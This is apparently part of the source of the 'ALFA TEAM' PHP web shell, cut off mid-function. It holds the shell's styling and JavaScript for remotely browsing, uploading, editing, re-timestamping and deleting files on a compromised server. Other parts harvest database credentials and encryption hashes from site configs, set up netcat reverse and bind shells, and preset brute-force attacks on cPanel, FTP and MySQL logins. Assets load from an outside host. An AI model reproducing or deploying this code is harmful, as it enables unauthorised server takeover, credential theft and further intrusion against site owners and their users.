a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}
<?php 
        echo "\r\n@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}\r\n@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}\r\n@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}\r\n@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}\r\n#alfaloader{\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:100px;height:100px;}\r\n#a_loader img{\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}\r\n.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:\"Comic Sans MS\";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:" . alfa_getColor("header_values") . ';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url(' . __showicon('alfamini') . ');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:' . ($GLOBALS['DB_NAME']['show_icons'] == '1' ? '0' : '1') . 'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url(' . __showicon('alfamini') . ');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url(' . __showicon('btn') . ');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
.foottable{width: 300px;font-weight: bold;' . (!@is_writable($GLOBALS['cwd']) ? '}.dir{background-color:red;}' : '}') . '.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}' . alfaCssLoadColors() . '
</style>';
        echo "<script type='text/javascript'>\r\nvar c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\r\nvar a_ = '" . htmlspecialchars(@$_POST['a']) . "';\r\nvar charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\r\nvar islinux = " . ($GLOBALS['sys'] != "win" ? 'true' : 'false') . ";\r\nvar post_encryption_mode = " . "true" . ";";
        ?>
var alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\"header_pwd\" onclick=\"g('FilesMan','/');\" path='/' href='#action=fileman&path=/'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\"g('FilesMan','"+r+l[i]+"/');\" path='"+r+l[i]+"/' href='#action=fileman&path="+r+l[i]+'/\' class="header_pwd">'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id='"+s+"' class='up_bar'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname='"+n+"']").parentElement.parentElement.parentElement.remove()}catch(e){}l+='<tr class="fmanager-row" id="tr_row_'+r+'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'+n+'" class="chkbx" id="checkbox'+r+'"><label for="checkbox'+r+'"></label></div></td><td id="td_row_'+r+'">'+p+'<div style="position:relative;display:inline-block;bottom:12px;"><a row="'+r+'" id="id_'+r+'" class="main_name" onclick="editor(\''+s+"','auto','','','','file');\" href=\"#action=fileman&amp;path="+c_+"&amp;file="+s+'" fname="'+n+'" ftype="file" path="'+c_+'" opt_title="">'+n+'</a></div></td><td><span style="font-weight:unset;" class="main_size">'+c+'</span></td><td><span style="font-weight:unset;" class="main_modify">'+_+'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'+u+'</span></td><td><a id="id_chmode_'+r+'" href="javascript:void(0)" onclick="editor(\''+s+"','chmod','','','','file')\">"+f+'</a></td><td><a id="id_rename_'+r+'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'rename','','','','file')\">R</a> <a id=\"id_touch_"+r+'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'touch','','','','file')\">T</a> <a id=\"id_edit_"+r+'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''+s+"', 'edit','','','','file')\">E</a> <a id=\"id_download_"+r+'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''+n+"', 'download')\">D</a><a id=\"id_delete_"+r+'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '+s+" # ?'); chk ? g('FilesMan',null,'delete', '"+s+"') : '';\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\/\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\/\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id='loader_"+e+'\' class="options-loader-holder"><div parent="'+e+'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">ALFA TEAM</div><div class="alfa-ajax-error"></div><img src=\'http://solevisible.com/images/loader.svg\'></div>')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"&current_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color='red'>>></font> ` button and run ` <font color='red'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML='<label class="inputfile" for="'+e+'"><span id="__fnameup'+upcount+'"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="'+e+'" type="file" name="f[]" onChange="handleup(this,'+upcount+');" multiple>',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function 